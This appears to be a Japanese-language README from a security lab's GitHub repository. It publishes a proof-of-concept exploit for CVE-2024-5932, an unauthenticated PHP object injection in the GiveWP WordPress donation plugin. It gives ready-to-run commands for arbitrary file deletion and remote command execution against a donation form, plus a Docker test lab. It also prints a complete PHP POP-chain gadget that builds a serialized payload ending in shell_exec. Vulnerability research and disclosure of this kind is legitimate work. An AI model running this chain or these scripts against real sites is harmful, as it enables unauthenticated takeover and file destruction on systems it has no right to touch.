
CVE-2024-5932の概念実証エクスプロイトです。GiveWP WordPressプラグインのPHPオブジェクトインジェクション脆弱性で、POPチェーンを利用した認証なしのリモートコード実行と任意ファイル削除を可能にします。
この投稿は EQSTLab が公開した研究記事です。
現在、xmrig を実行する偽の PoC GitHub リポジトリが存在します。詳細については以下のリンクをご確認ください:
URL1: https://x.com/win3zz/status/1828704644987511107
URL2: https://x.com/bornunique911/status/1828712791844524453
URL3: https://x.com/Chocapikk_/status/1828801346637856841
★ CVE-2024-5932 任意ファイル削除および RCE PoC ★
https://github.com/user-attachments/assets/333e347a-fd71-404a-962b-2d0d4bb952c7
8月25日 : CVE-2024-5932 ファイル削除 PoC をアップロード
8月26日 : CVE-2024-5932 を使用して任意のコマンド実行に成功しましたが、影響を考慮して開示を検討中です。
8月27日 : RCE Security の Julien Ahrens 氏による 投稿 で PoC の詳細な分析を見つけ、当社の RCE PoC を公開することにしました。追加の RCE PoC を CVE-2024-5932-rce.py としてアップロードしました。
CVE-2024-5932 : GiveWP PHP オブジェクトインジェクションの脆弱性 説明: WordPress 用 GiveWP 寄付プラグインおよびファンドレイジングプラットフォームプラグインは、バージョン 3.14.1 までの全バージョンにおいて、'give_title' パラメータからの信頼できない入力のデシリアライズにより PHP オブジェクトインジェクションに対して脆弱です。これにより、認証されていない攻撃者が PHP オブジェクトを注入することが可能になります。さらに POP チェーンが存在するため、攻撃者はリモートでコードを実行したり、任意のファイルを削除したりすることができます。
git clone https://github.com/EQSTLab/CVE-2024-5932.git
cd CVE-2024-5932
pip install -r requirements.txt
# Arbitrary file deletion
python CVE-2024-5932.py -u <URL_TO_EXPLOIT(Donation Form URL)> -f <FILE_TO_DELETE>
# Remote code execution
python CVE-2024-5932-rce.py -u <URL_TO_EXPLOIT(Donation Form URL)> -c <COMMAND_TO_EXECUTE>
python CVE-2024-5932.py -u http://example.com/2024/08/24/donation2/ -f /tmp/test
python CVE-2024-5932-rce.py -u http://example.com/2024/08/24/donation2/ -c "touch /tmp/test"
CVE-2024-5932.py

CVE-2024-5932-rce.py


services:
db:
image: mysql:8.0.27
command: '--default-authentication-plugin=mysql_native_password'
restart: always
environment:
- MYSQL_ROOT_PASSWORD=somewordpress
- MYSQL_DATABASE=wordpress
- MYSQL_USER=wordpress
- MYSQL_PASSWORD=wordpress
expose:
- 3306
- 33060
wordpress:
image: wordpress:6.3.2
ports:
- 80:80
restart: always
environment:
- WORDPRESS_DB_HOST=db
- WORDPRESS_DB_USER=wordpress
- WORDPRESS_DB_PASSWORD=wordpress
- WORDPRESS_DB_NAME=wordpress
volumes:
db_data:
https://downloads.wordpress.org/plugin/give.3.14.1.zip
docker cp give docker-wordpress-1:/var/www/html/wp-content/plugins



まず、以下のコマンドで WordPress シェルにアクセスします:
docker exec -it -u root docker-wordpress-1 /bin/bash
ファイルが root によって所有されている場合、権限により削除できない可能性があります。そのため、以下のコマンドでテストファイルの所有者を変更する必要があります:
touch test && chown www-data test

PHPSTORM を使用して GiveWP をデバッグできます。
pecl install xdebug
[DEBUG]
zend_extension=/usr/local/lib/php/extensions/no-debug-non-zts-20200930/xdebug.so
xdebug.mode=debug
xdebug.start_with_request=trigger
xdebug.remote_enable=on
xdebug.remote_handler=dbgp
xdebug.client_host={your_PHPSTORM_address}
xdebug.client_port={your_PHPSTORM_debugging_port}
xdebug.idekey=PHPSTORM
xdebug.profiler_enable_trigger=1
xdebug.trace_enable_trigger=1
..そして WordPress をデバッグできます。


この箇所で、get_meta() 関数は以前に保存された "give_title" 値をアンシリアライズします。
switch ( $key ) {
case 'title':
$user_info[ $key ] = Give()->donor_meta->get_meta( $donor->id, '_give_donor_title_prefix', true );
break;
...
strip_tags: nullバイトを置換 -> \0 を使用
stripslashes_deep: バックスラッシュを置換 -> \\\\ を使用
Stripe\StripeObject->__toString()
Stripe\StripeObject->toArray()
Give\PaymentGateways\DataTransferObjects\GiveInsertPaymentData->toArray()
Give\PaymentGateways\DataTransferObjects\GiveInsertPaymentData->getLegacyBillingAddress()
Give->__get('address1')
\Give\Vendors\Faker\ValidGenerator->get('address1')
\Give\Vendors\Faker\ValidGenerator->__call('get', 'address1')
Give\Onboarding\SettingsRepository->get('address1') (Return command string)
call_user_func('shell_exec', 'command')
PoC.php
<?php
namespace Stripe{
class StripeObject
{
protected $_values;
public function __construct(){
$this->_values['foo'] = new \Give\PaymentGateways\DataTransferObjects\GiveInsertPaymentData();
}
}
}
namespace Give\PaymentGateways\DataTransferObjects{
class GiveInsertPaymentData{
public $userInfo;
public function __construct()
{
$this->userInfo['address'] = new \Give();
}
}
}
namespace{
class Give{
protected $container;
public function __construct()
{
$this->container = new \Give\Vendors\Faker\ValidGenerator();
}
}
}
namespace Give\Vendors\Faker{
class ValidGenerator{
protected $validator;
protected $generator;
public function __construct()
{
$this->validator = "shell_exec";
$this->generator = new \Give\Onboarding\SettingsRepository();
}
}
}
namespace Give\Onboarding{
class SettingsRepository{
protected $settings;
public function __construct()
{
$this -> settings['address1'] = 'touch /tmp/EQSTtest';
}
}
}
namespace{
$a = new Stripe\StripeObject();
echo serialize($a);
}
POP チェーンによりリモートコマンド実行が可能です。

TCPDF を使用して、任意ファイル削除を悪用できます。
このリポジトリは CVE-2024-5932 に対するオブジェクトインジェクションエクスプロイトを意図したものではありません。このプロジェクトの目的は、人々がこの脆弱性について学び、自身のアプリケーションをテストするのに役立つことです。
当社は毎月 CVE およびマルウェア分析を公開しています。ご興味があれば、以下のリンクから出版物をご確認ください。 https://www.skshieldus.com/eng/business/insight.do